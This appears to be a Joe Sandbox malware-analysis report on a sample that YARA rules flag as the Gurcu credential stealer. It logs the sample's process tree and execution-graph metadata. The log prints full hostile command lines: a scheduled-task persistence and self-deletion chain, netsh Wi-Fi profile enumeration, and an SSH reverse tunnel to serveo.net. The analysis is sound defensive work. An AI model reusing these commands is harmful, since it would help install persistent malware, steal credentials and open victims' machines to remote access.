Commandline:	C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe" &&START "" "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Imagebase:	0x7ff677710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:17:12
Start date:	10/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:17:12
Start date:	10/02/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6bf650000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:17:12
Start date:	10/02/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 3
Imagebase:	0x7ff61b030000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:17:15
Start date:	10/02/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:17:15
Start date:	10/02/2024
Path:	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe"
Imagebase:	0x1b8a9a90000
File size:	131'528 bytes
MD5 hash:	869F82DF0992DC2F5155D8F69FD1C9CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.4118051146.000001B8AB951000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	16:17:15
Start date:	10/02/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe" /c chcp 65001 && netsh wlan show profiles\|findstr /R /C:"[ ]:[ ]
Imagebase:	0x7ff677710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:17:15
Start date:	10/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:17:15
Start date:	10/02/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6bf650000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	16:17:15
Start date:	10/02/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff6bc470000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	16:17:15
Start date:	10/02/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr /R /C:"[ ]:[ ]"
Imagebase:	0x7ff6c7230000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:17:16
Start date:	10/02/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid \| findstr "SSID BSSID Signal
Imagebase:	0x7ff677710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:17:16
Start date:	10/02/2024
Path:	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Imagebase:	0x10dd5580000
File size:	131'528 bytes
MD5 hash:	869F82DF0992DC2F5155D8F69FD1C9CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.2064616867.0000010DD73F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	16:17:16
Start date:	10/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	16:17:16
Start date:	10/02/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6bf650000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	16:17:16
Start date:	10/02/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show networks mode=bssid
Imagebase:	0x7ff6bc470000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	16:17:16
Start date:	10/02/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr "SSID BSSID Signal"
Imagebase:	0x7ff6c7230000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:17:16
Start date:	10/02/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe" /c chcp 65001 && netsh wlan show profiles\|findstr /R /C:"[ ]:[ ]
Imagebase:	0x7ff677710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7360, Parent PID: 1196

General

Target ID:	24
Start time:	16:17:16
Start date:	10/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:17:16
Start date:	10/02/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6bf650000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	16:17:16
Start date:	10/02/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff6bc470000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:17:16
Start date:	10/02/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr /R /C:"[ ]:[ ]"
Imagebase:	0x7ff6c7230000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:17:17
Start date:	10/02/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid \| findstr "SSID BSSID Signal
Imagebase:	0x7ff677710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 1184, Parent PID: 6544

General

Target ID:	29
Start time:	16:17:17
Start date:	10/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	16:17:17
Start date:	10/02/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6bf650000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	16:17:17
Start date:	10/02/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show networks mode=bssid
Imagebase:	0x7ff6bc470000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:17:17
Start date:	10/02/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr "SSID BSSID Signal"
Imagebase:	0x7ff6c7230000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:17:17
Start date:	10/02/2024
Path:	C:\Windows\System32\OpenSSH\ssh.exe
Wow64 process (32bit):	false
Commandline:	"ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6787 serveo.net
Imagebase:	0x7ff734ff0000
File size:	946'176 bytes
MD5 hash:	C05426E6F6DFB30FB78FBA874A2FF7DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	16:17:17
Start date:	10/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	16:17:18
Start date:	10/02/2024
Path:	C:\Windows\System32\OpenSSH\ssh.exe
Wow64 process (32bit):	false
Commandline:	"ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6787 serveo.net
Imagebase:	0x7ff734ff0000
File size:	946'176 bytes
MD5 hash:	C05426E6F6DFB30FB78FBA874A2FF7DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	16:17:18
Start date:	10/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	16:17:22
Start date:	10/02/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 8072 -s 1632
Imagebase:	0x7ff6065e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	16:18:01
Start date:	10/02/2024
Path:	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Imagebase:	0x17a71230000
File size:	131'528 bytes
MD5 hash:	869F82DF0992DC2F5155D8F69FD1C9CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GurcuStealer, Description: Yara detected Gurcu Stealer, Source: 0000002A.00000002.2312217329.0000017A00001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	16:19:00
Start date:	10/02/2024
Path:	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Imagebase:	0x1ec7f190000
File size:	131'528 bytes
MD5 hash:	869F82DF0992DC2F5155D8F69FD1C9CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GurcuStealer, Description: Yara detected Gurcu Stealer, Source: 0000002C.00000002.2953825020.000001EC01AD9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	16:20:00
Start date:	10/02/2024
Path:	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Imagebase:	0x167cfae0000
File size:	131'528 bytes
MD5 hash:	869F82DF0992DC2F5155D8F69FD1C9CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GurcuStealer, Description: Yara detected Gurcu Stealer, Source: 0000002D.00000002.3553295709.00000167D1889000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	16:21:00
Start date:	10/02/2024
Path:	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe
Imagebase:	0x1cf0ab30000
File size:	131'528 bytes
MD5 hash:	869F82DF0992DC2F5155D8F69FD1C9CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.4%
Total number of Nodes:	578
Total number of Limit Nodes:	54

Executed Functions

Function 06258E50 Relevance: 6.9, Strings: 5, Instructions: 642
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 0625A8CC
Hbq, xrefs: 0625A956
Hbq, xrefs: 0625A9E0
Hbq, xrefs: 0625A839
Hbq, xrefs: 0625AA9E

Memory Dump Source

Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID:
String ID: Hbq$Hbq$Hbq$Hbq$Hbq
API String ID: 0-1677660839
Opcode ID: d20d7db25de588cd9a6286dba3a0560d8e49b85436ad1511ac3ca29dea9c6e7f
Instruction ID: c1df44b6a37b84519349b9e6c2782bd0a8928b717756dbc1f2f376ee800644ce
Opcode Fuzzy Hash: d20d7db25de588cd9a6286dba3a0560d8e49b85436ad1511ac3ca29dea9c6e7f
Instruction Fuzzy Hash: D6427D70E102588FDB64DFB8C85179EBBF2BF84300F1185AAD809AB395DB349985CF95

Uniqueness

Uniqueness Score: -1.00%

Function 06EF04F0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820252857.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ef0000_jqOHOuPMJP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1fbd254e66eebd3942ef651eecb2ed306e6cd76fd7dc62426af8c01b8431169
Instruction ID: 37f9e49b7c402f53a29faf1276adf9ef23d6a887ce566e3c911d041ed9ba8dc4
Opcode Fuzzy Hash: f1fbd254e66eebd3942ef651eecb2ed306e6cd76fd7dc62426af8c01b8431169
Instruction Fuzzy Hash: 99D1AE34B117008FDB95EB75C460B6EB7F7AF89704F1444AED24A8B291DB38E801CB51

Uniqueness

Uniqueness Score: -1.00%

Function 067EEDD1 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819805628.00000000067E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_67e0000_jqOHOuPMJP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0827ca549acea51bdddbba430b8f92415dce4a3be2a8651fe2d5856c99c0db6
Instruction ID: 02c735dcab02df55a2c5e5799f1ac1d4ac0525f8efa3c02acd758be0f0311cec
Opcode Fuzzy Hash: b0827ca549acea51bdddbba430b8f92415dce4a3be2a8651fe2d5856c99c0db6
Instruction Fuzzy Hash: 8DD13C74E00609CFEB54DFA9C848BADBBF2BF48304F15C568D409AF2A5DB749949CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0625A268 Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c563882e2544aaa26b46da3488b1129a46332c18696bee3f048a8a2d61a65b3a
Instruction ID: 998bca0c6aac7148e5b1a09a5c082b9581c793542c836013b33861abd479901e
Opcode Fuzzy Hash: c563882e2544aaa26b46da3488b1129a46332c18696bee3f048a8a2d61a65b3a
Instruction Fuzzy Hash: B2C16A31D202598FDF65CFA8D981B9DBBF2AF84310F15826ADC09AB255EB30D985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06251B90 Relevance: 1.8, APIs: 1, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 69acedf530f98a939d76fe3b16f19b872cc583d8e13663a3b9df2975346614e6
Instruction ID: 44abbfdfe8d61279fbfac40df4ce6e58ea0ba07976354eb3751d4b4b166b8420
Opcode Fuzzy Hash: 69acedf530f98a939d76fe3b16f19b872cc583d8e13663a3b9df2975346614e6
Instruction Fuzzy Hash: 6B8192B1C043899FDB12CFA5CC50ACDBFB1AF1A310F05819AE844AB262D7749955CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02B8B1D0 Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 02B8B426

Memory Dump Source

Source File: 00000000.00000002.1816395187.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_jqOHOuPMJP.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 53184edb2f610563e2f4fefdb5a267a81a09a2199e723babc018f483e5a30a37
Instruction ID: cd5c22cb4bbf051ecaac18fba4226ae79a0d2c7ef0837933f66c69ec57cb9066
Opcode Fuzzy Hash: 53184edb2f610563e2f4fefdb5a267a81a09a2199e723babc018f483e5a30a37
Instruction Fuzzy Hash: 56711170A00B058FDB24EF69D15175ABBF2FF88308F108A6ED48AD7A50D774E945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06250AA8 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06251E02

Memory Dump Source

Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 82049bed87738f074df104d9fabedd5cd65ec2794eb155e947f38728ea477ef5
Instruction ID: fbbf72c81ab295ef41e8670f3307192958008a749759b72f0c0e74875e9f101f
Opcode Fuzzy Hash: 82049bed87738f074df104d9fabedd5cd65ec2794eb155e947f38728ea477ef5
Instruction Fuzzy Hash: DA51D1B1D10319DFDB24CF99C984ADEBBB5FF48310F24812AE818AB210D770A855CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02B85D12 Relevance: 1.6, APIs: 1, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02B85DE1

Memory Dump Source

Source File: 00000000.00000002.1816395187.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_jqOHOuPMJP.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 908d35e41ec36943709f07bd5d87db8442168ecdc1a1f4c276577d5ec6d924ec
Instruction ID: 404bd706e423de03951f0ee21adbfe41aea2f09b7d1875f1aee534d479c2ac77
Opcode Fuzzy Hash: 908d35e41ec36943709f07bd5d87db8442168ecdc1a1f4c276577d5ec6d924ec
Instruction Fuzzy Hash: D94122B1C00619CFDB24DFA9C884BDDBBF5BF49304F24819AD408AB261DB756986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06250BFC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06254371

Memory Dump Source

Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 29a783ce93a987336884891737a738f3971dd1e66f74302c794d7995532c31b0
Instruction ID: 0a1089a89a39b6ec67e368ba1809ea0d2ddae3c8a1004856a9e4d3d644bf96e3
Opcode Fuzzy Hash: 29a783ce93a987336884891737a738f3971dd1e66f74302c794d7995532c31b0
Instruction Fuzzy Hash: 034138B4910305DFDB54DF99C488AAAFBF5FB88314F25C459E919AB320D774A881CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02B84524 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02B85DE1

Memory Dump Source

Source File: 00000000.00000002.1816395187.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_jqOHOuPMJP.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 0bd7ae3b491b4140b98dbf29fbf3983a04eba421e203019a3fd670dd6272bcd8
Instruction ID: 1a361efe1fcd0f1fd3333354b1a62325bf99a9f235d585f8a0d0113b92046d27
Opcode Fuzzy Hash: 0bd7ae3b491b4140b98dbf29fbf3983a04eba421e203019a3fd670dd6272bcd8
Instruction Fuzzy Hash: 7041E2B1C00619CBDB24DFA9C984BDDBBF5BF48304F6480AAD408AB255DB756945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0625B510 Relevance: 1.6, APIs: 1, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1819348559.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6250000_jqOHOuPMJP.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: f646623115d4cf7188958ce0606bb51eaa8dabd101da0ccc1d446b5b407296cb
Instruction ID: 8a7635f1eb07ed3a75d1af543fe6dadda799be2e3d288982a523bbabe0708793
Opcode Fuzzy Hash: f646623115d4cf7188958ce0606bb51eaa8dabd101da0ccc1d446b5b407296cb
Instruction Fuzzy Hash: 533187729003599FCB12CFA9D941AEEBFF8EF09350F14805AE954AB221C335E954DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02B8ABF0 Relevance: 1.6, APIs: 1, Instructions: 83
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,02B8B4A1,00000800,00000000,00000000), ref: 02B8B6B2

Memory Dump Source

Source File: 00000000.00000002.1816395187.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b80000_jqOHOuPMJP.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e1c379cce6545c640da964c382d22a3da3ae9cdef37bcb451cacbd8db4d39c13
Instruction ID: 24b784b5b5e4f56bba4509e4ab1c2a9c9fd463a0ad31ad8dfcfa45b18281d35f
Opcode Fuzzy Hash: e1c379cce6545c640da964c382d22a3da3ae9cdef37bcb451cacbd8db4d39c13
Instruction Fuzzy Hash: 7431BCB28053898FCB10DFA9C994BCAFFF0EF55214F0580AAC498AB351C3749545CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0625C3E2 Relevance: 1.6, APIs: 1, Instructions: 70
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageW.USER32(?,0000020A,?,?,?,?,?,?,0625410A,?,00000000,?), ref: 0625C3AD

Memory Dump Source

